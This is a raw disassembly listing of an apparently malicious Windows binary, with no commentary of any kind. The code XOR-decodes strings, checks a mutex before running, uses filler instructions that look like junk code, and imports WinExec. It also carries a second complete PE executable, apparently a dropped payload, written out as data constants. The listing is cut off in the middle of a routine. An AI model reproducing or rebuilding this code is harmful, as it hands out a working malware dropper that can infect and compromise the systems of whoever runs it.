dd 210E00E0h, 3702010Bh, 800h, 0C00h, 1000h, 1190h, 1000h
dd 2000h, 10000000h, 1000h, 200h, 1, 0
dd 4, 0
dd 8000h, 400h, 0
dd 2, 100000h, 1000h, 100000h, 1000h, 0
dd 10h, 7000h, 48h, 5000h, 37Ch, 6 dup(0)
dd 6000h, 0DCh, 3000h, 54h, 12h dup(0)
a_text db '.text',0
align 4
db '¼',7,0
align 4
dd 1000h, 7BCh, 400h, 3 dup(0)
dd 60000020h, 7373622Eh, 0
dd 0FE0h, 2000h, 5 dup(0)
dd 0C0000080h, 6164722Eh, 6174h, 54h, 3000h, 54h, 0C00h
dd 3 dup(0)
dd 40000020h, 7461642Eh, 61h, 0C4h, 4000h, 0C4h, 0E00h
dd 3 dup(0)
dd 0C0000040h, 6164692Eh, 6174h, 37Ch, 5000h, 37Ch, 1000h
dd 3 dup(0)
dd 0C0000060h, 6C65722Eh, 636Fh, 0E4h, 6000h, 0E4h, 1600h
dd 3 dup(0)
dd 2000020h, 6164652Eh, 6174h, 48h, 7000h, 48h, 1800h
dd 3 dup(0)
dd 40000020h, 5Ch dup(0)
dd 8B40C031h, 0F704244Ch, 60441h, 0F740000h, 824448Bh
dd 1024548Bh, 3B80289h, 0C3000000h
; =============== S U B R O U T I N E =======================================
sub_43C5C8 proc near ; CODE XREF: .data:0043C6F0p
; .data:0043C71Ep
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push 10001000h
push large dword ptr fs:0
mov large fs:0, esp
loc_43C5E5: ; CODE XREF: sub_43C5C8+44j
; sub_43C5C8+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_43C614
cmp esi, [esp+1Ch+arg_4]
jz short loc_43C614
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_43C5E5
call dword ptr [ebx+esi*4+8]
jmp short loc_43C5E5
; ---------------------------------------------------------------------------
loc_43C614: ; CODE XREF: sub_43C5C8+2Aj
; sub_43C5C8+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_43C5C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C622 proc near ; CODE XREF: .data:0043C6E3p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push 10001092h
push [ebp+arg_0]
call sub_43CCBC
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_43C622 endp
; ---------------------------------------------------------------------------
db 0FCh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
test dword ptr [eax+4], 6
jnz loc_43C717
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_43C675: ; CODE XREF: .data:0043C70Ej
cmp esi, 0FFFFFFFFh
jz loc_43C726
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_43C705
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov ds:10004034h, eax
mov edx, [ebp-14h]
mov eax, [edx]
mov ds:10004038h, eax
mov eax, [edx+4]
mov ds:1000403Ch, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, ds:10004040h
mov esi, ds:10004038h
rep movsd
lea edi, ds:10004040h
mov ds:10004038h, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
or eax, eax
jz short loc_43C705
js short loc_43C713
mov edi, [ebx+8]
push ebx
call sub_43C622
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_43C5C8
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_43C705: ; CODE XREF: .data:0043C686j
; .data:0043C6DBj
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_43C675
; ---------------------------------------------------------------------------
loc_43C713: ; CODE XREF: .data:0043C6DDj
xor eax, eax
jmp short loc_43C730
; ---------------------------------------------------------------------------
loc_43C717: ; CODE XREF: .data:0043C65Aj
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_43C5C8
add esp, 0Ch
loc_43C726: ; CODE XREF: .data:0043C678j
push 0Bh
call sub_43CD28
add esp, 4
loc_43C730: ; CODE XREF: .data:0043C715j
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
cmp dword ptr [ebp+0Ch], 1
jnz short loc_43C749
call sub_43C76C
loc_43C749: ; CODE XREF: .data:0043C742j
call sub_43CC1B
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
mov eax, ds:10004000h
call eax
pop edi
pop esi
pop ebx
leave
retn 0Ch
; ---------------------------------------------------------------------------
db 0B8h, 1, 0
dd 0F2EB0000h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C76C proc near ; CODE XREF: .data:0043C744p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
push 0
push 0FFFFFFF6h
call sub_43CCE0
mov [ebp+var_8], eax
push 0
push 0FFFFFFF5h
call sub_43CCE0
mov [ebp+var_4], eax
push 0
push 0FFFFFFF4h
call sub_43CCE0
mov [ebp+var_C], eax
push 1000401Eh
push [ebp+var_8]
call sub_43CCD4
mov ds:10004008h, eax
push 1000401Ch
push [ebp+var_4]
call sub_43CCD4
mov ds:10004004h, eax
push 1000401Ch
push [ebp+var_C]
call sub_43CCD4
add esp, 30h
mov ds:1000400Ch, eax
mov edi, ds:10004004h
or edi, edi
jz short loc_43C7E5
push 0
push edi
call sub_43CD34
add esp, 8
loc_43C7E5: ; CODE XREF: sub_43C76C+6Cj
mov edi, ds:1000400Ch
or edi, edi
jz short loc_43C7FF
push 0
push edi
call sub_43CD34
add esp, 8
call sub_43C804
loc_43C7FF: ; CODE XREF: sub_43C76C+81j
pop edi
leave
retn
sub_43C76C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C804 proc near ; CODE XREF: sub_43C76C+8Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_C], 0
call sub_43CC50
mov ebx, eax
mov [ebp+var_10], ebx
jmp short loc_43C841
; ---------------------------------------------------------------------------
loc_43C820: ; CODE XREF: sub_43C804+45j
cmp byte ptr ds:0[ebx], 3Dh
jz short loc_43C82D
inc [ebp+var_C]
loc_43C82D: ; CODE XREF: sub_43C804+24j
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
lea ebx, [ebx+edi]
loc_43C841: ; CODE XREF: sub_43C804+1Aj
cmp byte ptr ds:0[ebx], 0
jnz short loc_43C820
mov edi, [ebp+var_C]
inc edi
lea edi, ds:0[edi*4]
mov [ebp+var_14], edi
push [ebp+var_14]
call sub_43CD04
pop ecx
mov [ebp+var_8], eax
mov ds:10004010h, eax
cmp [ebp+var_8], 0
jnz short loc_43C874
xor eax, eax
jmp short loc_43C8EA
; ---------------------------------------------------------------------------
loc_43C874: ; CODE XREF: sub_43C804+6Aj
mov ebx, [ebp+var_10]
jmp short loc_43C8CD
; ---------------------------------------------------------------------------
loc_43C879: ; CODE XREF: sub_43C804+D1j
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
mov [ebp+var_4], edi
cmp byte ptr ds:0[ebx], 3Dh
jz short loc_43C8C7
push [ebp+var_4]
call sub_43CD04
pop ecx
mov esi, [ebp+var_8]
mov ds:0[esi], eax
or eax, eax
jnz short loc_43C8B0
jmp short loc_43C8EA
; ---------------------------------------------------------------------------
loc_43C8B0: ; CODE XREF: sub_43C804+A8j
push ebx
mov edi, [ebp+var_8]
push dword ptr ds:0[edi]
call sub_43CD58
add esp, 8
add [ebp+var_8], 4
loc_43C8C7: ; CODE XREF: sub_43C804+91j
mov edx, [ebp+var_4]
lea ebx, [ebx+edx]
loc_43C8CD: ; CODE XREF: sub_43C804+73j
cmp byte ptr ds:0[ebx], 0
jnz short loc_43C879
mov edx, [ebp+var_8]
mov dword ptr ds:0[edx], 0
mov eax, 1
loc_43C8EA: ; CODE XREF: sub_43C804+6Ej
; sub_43C804+AAj
pop edi
pop esi
pop ebx
leave
retn
sub_43C804 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C8F0 proc near ; CODE XREF: sub_43C99A+22p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+arg_4]
mov [ebp+var_4], 181h
push esi
push [ebp+arg_0]
mov eax, ds:10004098h
lea eax, ds:10002000h[eax]
push eax
call sub_43CD10
add esp, 0Ch
xor edi, edi
jmp short loc_43C939
; ---------------------------------------------------------------------------
loc_43C91F: ; CODE XREF: sub_43C8F0+4Bj
mov eax, ds:10004098h
add eax, edi
lea eax, ds:10002000h[eax]
movsx edx, byte ptr [eax]
xor edx, 0D9h
mov [eax], dl
inc edi
loc_43C939: ; CODE XREF: sub_43C8F0+2Dj
cmp edi, esi
jl short loc_43C91F
mov [ebp+var_8], 389h
mov eax, ds:10004098h
add eax, esi
mov byte ptr ds:10002000h[eax], 0
xor edi, edi
mov edi, ds:10004098h
add dword ptr ds:10004098h, 3
mov eax, ds:10004098h
lea eax, [eax+esi+4]
mov ds:10004098h, eax
inc dword ptr ds:10004098h
cmp dword ptr ds:10004098h, 0DB6h
jle short loc_43C989
and dword ptr ds:10004098h, 0
loc_43C989: ; CODE XREF: sub_43C8F0+90j
mov [ebp+var_C], 9Ch
lea eax, [edi+10002000h]
pop edi
pop esi
leave
retn
sub_43C8F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C99A proc near ; CODE XREF: .data:0043CB33p
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
lea edi, [ebp+var_5]
lea esi, ds:1000409Ch
xor ecx, ecx
inc ecx
rep movsb
call sub_43CC8C
push 5
push 100040BDh
call sub_43C8F0
add esp, 8
push eax
push 0
push 1F0001h
call sub_43CCB0
mov [ebp+var_4], eax
or eax, eax
jz short loc_43C9F5
mov [ebp+var_C], 4FA1h
inc [ebp+var_C]
push eax
call sub_43CC68
mov [ebp+var_E], 6C6Dh
inc [ebp+var_E]
xor eax, eax
inc eax
loc_43C9F5: ; CODE XREF: sub_43C99A+3Cj
pop edi
pop esi
leave
retn
sub_43C99A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C9F9 proc near ; CODE XREF: .data:0043CB67p
var_10A = byte ptr -10Ah
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
call sub_43CC44
call sub_43CC74
mov ecx, edi
or eax, 0FFFFFFFFh
loc_43CA17: ; CODE XREF: sub_43C9F9+23j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43CA17
mov ebx, eax
mov [ebp+var_6], bx
mov ax, [ebp+var_6]
mov [ebp+var_2], ax
jmp short loc_43CA4C
; ---------------------------------------------------------------------------
loc_43CA2E: ; CODE XREF: sub_43C9F9+59j
movzx eax, [ebp+var_2]
cmp byte ptr [edi+eax], 5Ch
jnz short loc_43CA48
call sub_43CC38
inc [ebp+var_2]
call sub_43CC8C
jmp short loc_43CA54
; ---------------------------------------------------------------------------
loc_43CA48: ; CODE XREF: sub_43C9F9+3Dj
dec [ebp+var_2]
loc_43CA4C: ; CODE XREF: sub_43C9F9+33j
movzx eax, [ebp+var_2]
or eax, eax
jg short loc_43CA2E
loc_43CA54: ; CODE XREF: sub_43C9F9+4Dj
mov ax, [ebp+var_2]
cmp ax, [ebp+var_6]
jnb short loc_43CA92
mov [ebp+var_4], 0
jmp short loc_43CA80
; ---------------------------------------------------------------------------
loc_43CA66: ; CODE XREF: sub_43C9F9+97j
movzx eax, [ebp+var_4]
movzx edx, [ebp+var_2]
mov ecx, eax
add ecx, edx
mov dl, [edi+ecx]
mov [ebp+eax+var_10A], dl
inc [ebp+var_4]
loc_43CA80: ; CODE XREF: sub_43C9F9+6Bj
movzx eax, [ebp+var_4]
movzx edx, [ebp+var_6]
movzx ecx, [ebp+var_2]
sub edx, ecx
cmp eax, edx
jle short loc_43CA66
loc_43CA92: ; CODE XREF: sub_43C9F9+63j
mov esi, 6BBCh
add esi, 7D41h
lea eax, [ebp+var_10A]
push eax
call sub_43CCA4
call sub_43CC98
pop edi
pop esi
pop ebx
leave
retn
sub_43C9F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CAB3 proc near ; CODE XREF: .data:0043CBBAp
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
call sub_43CC44
push 100040BBh
push [ebp+arg_0]
call sub_43CD4C
add esp, 8
lea edi, [ebp+var_8]
lea esi, ds:1000409Dh
movsd
movsd
pop edi
pop esi
leave
retn
sub_43CAB3 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 21Ch
push esi
push edi
mov ax, ds:100040A5h
mov [ebp-217h], ax
mov eax, ds:10004094h
add eax, 698h
push eax
call sub_43CD40
mov byte ptr [ebp-100h], 84h
sub byte ptr [ebp-100h], 68h
mov eax, ds:10004090h
mov edx, eax
add edx, 5
push edx
mov edx, 0Fh
sub edx, ds:10004094h
push edx
mov edx, 4
sub edx, eax
push edx
call sub_43C99A
add esp, 10h
or eax, eax
jz short loc_43CB47
xor eax, eax
inc eax
jmp loc_43CBF0
; ---------------------------------------------------------------------------
loc_43CB47: ; CODE XREF: .data:0043CB3Dj
push 104h
lea eax, [ebp-205h]
push eax
push dword ptr [ebp+8]
call sub_43CC5C
call sub_43CC44
lea eax, [ebp-205h]
push eax
call sub_43C9F9
mov byte ptr [ebp-101h], 1Bh
add byte ptr [ebp-101h], 1
lea edi, [ebp-215h]
lea esi, ds:100040A7h
mov ecx, 4
rep movsd
push 0FFh
lea eax, [ebp-0FFh]
push eax
call sub_43CC80
mov eax, ds:100040B7h
mov [ebp-21Bh], eax
call sub_43CC44
call sub_43CC38
lea eax, [ebp-0FFh]
push eax
call sub_43CAB3
call sub_43CC8C
lea eax, [ebp-215h]
push eax
lea eax, [ebp-0FFh]
push eax
call sub_43CD4C
add esp, 10h
push 1
lea eax, [ebp-0FFh]
push eax
call sub_43CCC8
call sub_43CC74
xor eax, eax
inc eax
loc_43CBF0: ; CODE XREF: .data:0043CB42j
pop edi
pop esi
leave
retn 0Ch
; ---------------------------------------------------------------------------
align 4
dd 243CD950h, 0F24048Bh, 82434BAh, 240C8166h
db 0, 2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_43CC1B
loc_43CC0A: ; CODE XREF: sub_43CC1B+Dj
fldcw word ptr [esp+4+var_4]
pop ecx
mov al, ah
and eax, 3
retn
; END OF FUNCTION CHUNK FOR sub_43CC1B
; ---------------------------------------------------------------------------
dd 243CD950h
db 58h, 0EBh, 0F3h
; =============== S U B R O U T I N E =======================================
sub_43CC1B proc near ; CODE XREF: .data:loc_43C749p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0043CC0A SIZE 0000000A BYTES
push eax
fnstcw word ptr [esp+4+var_4]
mov eax, [esp+4+var_4]
or word ptr [esp+4+var_4], 300h
jmp short loc_43CC0A
sub_43CC1B endp
; ---------------------------------------------------------------------------
align 4
dd 50E825FFh, 90901000h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CC38 proc near ; CODE XREF: sub_43C9F9+3Fp
; .data:0043CBAEp
jmp dword ptr ds:100050ECh
sub_43CC38 endp
; ---------------------------------------------------------------------------
dw 9090h
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CC44 proc near ; CODE XREF: sub_43C9F9+Fp
; sub_43CAB3+7p ...
jmp dword ptr ds:100050F0h
sub_43CC44 endp
; ---------------------------------------------------------------------------
dw 9090h
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CC50 proc near ; CODE XREF: sub_43C804+10p
jmp dword ptr ds:100050F4h
sub_43CC50 endp
; ---------------------------------------------------------------------------
dw 9090h
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CC5C proc near ; CODE XREF: .data:0043CB56p
jmp dword ptr ds:100050F8h
sub_43CC5C endp
; ---------------------------------------------------------------------------
dw 9090h
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CC68 proc near ; CODE XREF: sub_43C99A+49p
jmp dword ptr ds:100050FCh
sub_43CC68 endp
; ---------------------------------------------------------------------------
dw 9090h
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CC74 proc near ; CODE XREF: sub_43C9F9+14p
; .data:0043CBE8p
jmp dword ptr ds:10005100h
sub_43CC74 endp
; ---------------------------------------------------------------------------
dw 9090h
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CC80 proc near ; CODE XREF: .data:0043CB99p
jmp dword ptr ds:10005104h
sub_43CC80 endp
; ---------------------------------------------------------------------------
dw 9090h
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CC8C proc near ; CODE XREF: sub_43C99A+16p
; sub_43C9F9+48p ...
jmp dword ptr ds:10005108h
sub_43CC8C endp
; ---------------------------------------------------------------------------
dw 9090h
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CC98 proc near ; CODE XREF: sub_43C9F9+B0p
jmp dword ptr ds:1000510Ch
sub_43CC98 endp
; ---------------------------------------------------------------------------
dw 9090h
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CCA4 proc near ; CODE XREF: sub_43C9F9+ABp
jmp dword ptr ds:10005110h
sub_43CCA4 endp
; ---------------------------------------------------------------------------
dw 9090h
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CCB0 proc near ; CODE XREF: sub_43C99A+32p
jmp dword ptr ds:10005114h
sub_43CCB0 endp
; ---------------------------------------------------------------------------
dw 9090h
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CCBC proc near ; CODE XREF: sub_43C622+13p
jmp dword ptr ds:10005118h
sub_43CCBC endp
; ---------------------------------------------------------------------------
dw 9090h
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CCC8 proc near ; CODE XREF: .data:0043CBE3p
jmp dword ptr ds:1000511Ch
sub_43CCC8 endp
; ---------------------------------------------------------------------------
dw 9090h
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CCD4 proc near ; CODE XREF: sub_43C76C+33p
; sub_43C76C+45p ...
jmp dword ptr ds:10005128h
sub_43CCD4 endp
; ---------------------------------------------------------------------------
dw 9090h
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CCE0 proc near ; CODE XREF: sub_43C76C+Bp
; sub_43C76C+17p ...
jmp dword ptr ds:1000512Ch
sub_43CCE0 endp
; ---------------------------------------------------------------------------
dw 9090h
dd 0
dd 513025FFh, 90901000h, 0
dd 513425FFh, 90901000h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CD04 proc near ; CODE XREF: sub_43C804+58p
; sub_43C804+96p
jmp dword ptr ds:10005138h
sub_43CD04 endp
; ---------------------------------------------------------------------------
dw 9090h
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CD10 proc near ; CODE XREF: sub_43C8F0+23p
jmp dword ptr ds:1000513Ch
sub_43CD10 endp
; ---------------------------------------------------------------------------
dw 9090h
dd 0
dd 514025FFh, 90901000h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CD28 proc near ; CODE XREF: .data:0043C728p
jmp dword ptr ds:10005144h
sub_43CD28 endp
; ---------------------------------------------------------------------------
dw 9090h
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CD34 proc near ; CODE XREF: sub_43C76C+71p
; sub_43C76C+86p
jmp dword ptr ds:10005148h
sub_43CD34 endp
; ---------------------------------------------------------------------------
dw 9090h
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CD40 proc near ; CODE XREF: .data:0043CB01p
jmp dword ptr ds:1000514Ch
sub_43CD40 endp
; ---------------------------------------------------------------------------
dw 9090h
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CD4C proc near ; CODE XREF: sub_43CAB3+14p
; .data:0043CBD2p
jmp dword ptr ds:10005150h
sub_43CD4C endp
; ---------------------------------------------------------------------------
dw 9090h
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43CD58 proc near ; CODE XREF: sub_43C804+B7p
jmp dword ptr ds:10005154h
sub_43CD58 endp
; ---------------------------------------------------------------------------
dw 9090h
dd 14h dup(0)
dd 2 dup(1), 7Ch dup(0)
dd 10001536h, 5 dup(0)
dd 7325h, 720077h, 1Ch dup(0)
dd 2, 0Ch, 0
dd 3B4E2A00h, 734D3E5Ah
db 0, 4Bh, 0
aMjanfj32 db 'Mjanfj32',0 ; DATA XREF: sub_403C5F+2C0o
aJklmno db 'jklmno',0
aAy db 'Ay&',0
db '\',0
aTtii db 'ė»',0
align 4
dd 4Fh dup(0)
dd 5070h, 2 dup(0)
dd 52F8h, 50E8h, 50B0h, 2 dup(0)
dd 5340h, 5128h, 12h dup(0)
dd 515Ch, 516Ch, 5184h, 519Ch, 51B8h, 51D0h, 51E0h, 51F4h
dd 520Ch, 521Ch, 522Ch, 5240h, 5250h, 525Ch, 2 dup(0)
dd 5268h, 5274h, 5288h, 5294h, 52A0h, 52ACh, 52B8h, 52C4h
dd 52CCh, 52D8h, 52E0h, 52ECh, 2 dup(0)
dd 515Ch, 516Ch, 5184h, 519Ch, 51B8h, 51D0h, 51E0h, 51F4h
dd 520Ch, 521Ch, 522Ch, 5240h, 5250h, 525Ch, 2 dup(0)
dd 5268h, 5274h, 5288h, 5294h, 52A0h, 52ACh, 52B8h, 52C4h
dd 52CCh, 52D8h, 52E0h, 52ECh, 0
dd 78450081h, 72507469h, 7365636Fh, 73h, 654700DEh, 72754374h
dd 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h, 72754374h
dd 746E6572h, 65726854h, 64496461h, 0
dd 654700EDh, 766E4574h, 6E6F7269h, 746E656Dh, 69727453h
dd 4173676Eh, 0
dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
dd 0
dd 6C43001Bh, 4865736Fh, 6C646E61h, 65h, 65470124h, 6F725074h
dd 73736563h, 70616548h, 0
dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h
dd 41h, 65470155h, 63695474h, 756F436Bh, 746Eh, 6547015Ch
dd 72655674h, 6E6F6973h, 0
dd 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0
dd 704F01D2h, 754D6E65h, 41786574h, 0
dd 7452020Eh, 776E556Ch, 646E69h, 69570298h, 6578456Eh
dd 63h, 665F0080h, 65706F64h, 6Eh, 6F5F014Fh, 5F6E6570h
dd 6866736Fh, 6C646E61h, 65h, 6366020Dh, 65736F6Ch, 0
dd 635F0039h, 74697865h, 0
dd 616D024Eh, 636F6C6Ch, 0
dd 656D0254h, 7970636Dh, 0
dd 7270025Bh, 66746E69h, 0
dd 61720260h, 657369h, 65730267h, 66756274h, 0
dd 7273026Fh, 646E61h, 74730271h, 74616372h, 0
dd 74730275h, 79706372h, 0
aKernel32_dll_0 db 'KERNEL32.DLL',0
align 10h
dd 0Eh dup(10005000h), 44545243h, 442E4C4Ch, 4C4Ch, 0Ch dup(10005014h)
dd 22h dup(0)
dd 20h, 0
dd 20h, 1000h, 1800h, 2000h, 2C00h, 78h dup(0)
dd 1000h, 94h, 3086302Bh, 30F730EDh, 310D30FFh, 311B3113h
dd 31B03121h, 31FD31F0h, 320F3202h, 32243214h, 323F322Ah
dd 335F32BEh, 33783366h, 339D3381h, 33AF33A6h, 33BB33B5h
dd 33CA33C4h, 33DC33D0h, 33FF33EAh, 35183410h, 3543352Ch
dd 356D354Fh, 35DA357Eh, 368635F7h, 369E3692h, 36B636AAh
dd 36CE36C2h, 36E636DAh, 36FE36F2h, 3716370Ah, 372E3722h
dd 3746373Ah, 375E3752h, 3776376Ah, 378E3782h, 37A6379Ah
dd 37B2h, 4000h, 0Ch, 3000h, 5000h, 3Ch, 330C3308h, 33143310h
dd 331C3318h, 33243320h, 332C3328h, 33343330h, 333C3338h
dd 3350334Ch, 33583354h, 3360335Ch, 33683364h, 3370336Ch
dd 33783374h, 4Ah dup(0)
aB db 0Ah
db 'µ|B',0
align 4
aP_0 db '(p',0
align 4
dd 3 dup(1), 7030h, 7034h, 7038h, 2E6C6C64h, 6C6C64h, 1536h
dd 703Ch, 0
a_libmain@12 db '_LibMain@12',0
dd 6Eh dup(0)
db 0
byte_43DBA9 db 4Dh, 5Ah, 90h ; DATA XREF: sub_403AA3+10Bo
dd 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 8 dup(0)
dd 8000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
dd 455000h, 4014C00h, 7CA9DF00h, 42h, 0
dd 0E00E000h, 2010B01h, 1A0037h, 180000h, 20000h, 121900h
dd 100000h, 300000h, 40000000h, 100000h, 20000h, 100h
dd 0
dd 400h, 0
dd 600000h, 40000h, 0
dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0
dd 1000h, 2 dup(0)
dd 500000h, 97000h, 1Ch dup(0)
dd 65742E00h, 7478h, 19A400h, 100000h, 19A400h, 40000h
dd 3 dup(0)
dd 2000h, 73622E60h, 73h, 11000h, 300000h, 5 dup(0)
dd 8000h, 61642EC0h, 6174h, 0DE800h, 400000h, 0DE800h
dd 1E0000h, 3 dup(0)
dd 4000h, 64692EC0h, 617461h, 97000h, 500000h, 97000h
dd 2C0000h, 3 dup(0)
dd 6000h, 0C0h, 79h dup(0)
dd 40C03100h, 4244C8Bh, 60441F7h, 74000000h, 24448B0Fh
dd 24548B08h, 0B8028910h, 3
db 0C3h
; =============== S U B R O U T I N E =======================================
sub_43DFC9 proc near ; CODE XREF: .data:0043E101p
; .data:0043E12Fp
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_401000
push large dword ptr fs:0
mov large fs:0, esp
loc_43DFE6: ; CODE XREF: sub_43DFC9+44j
; sub_43DFC9+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_43E015
cmp esi, [esp+1Ch+arg_4]
jz short loc_43E015
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_43DFE6
call dword ptr [ebx+esi*4+8]
jmp short loc_43DFE6
; ---------------------------------------------------------------------------
loc_43E015: ; CODE XREF: sub_43DFC9+2Aj
; sub_43DFC9+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_43DFC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E023 proc near ; CODE XREF: .data:0043E0F4p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_401092
push [ebp+arg_0]
call sub_43F761
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_43E023 endp
; ---------------------------------------------------------------------------
db 0FCh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
mov dword ptr ds:loc_40408C, eax
mov dword ptr ds:loc_40408F+1, ebx
test dword ptr [eax+4], 6
jnz loc_43E128
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
mov dword ptr ds:loc_40408F+1, eax
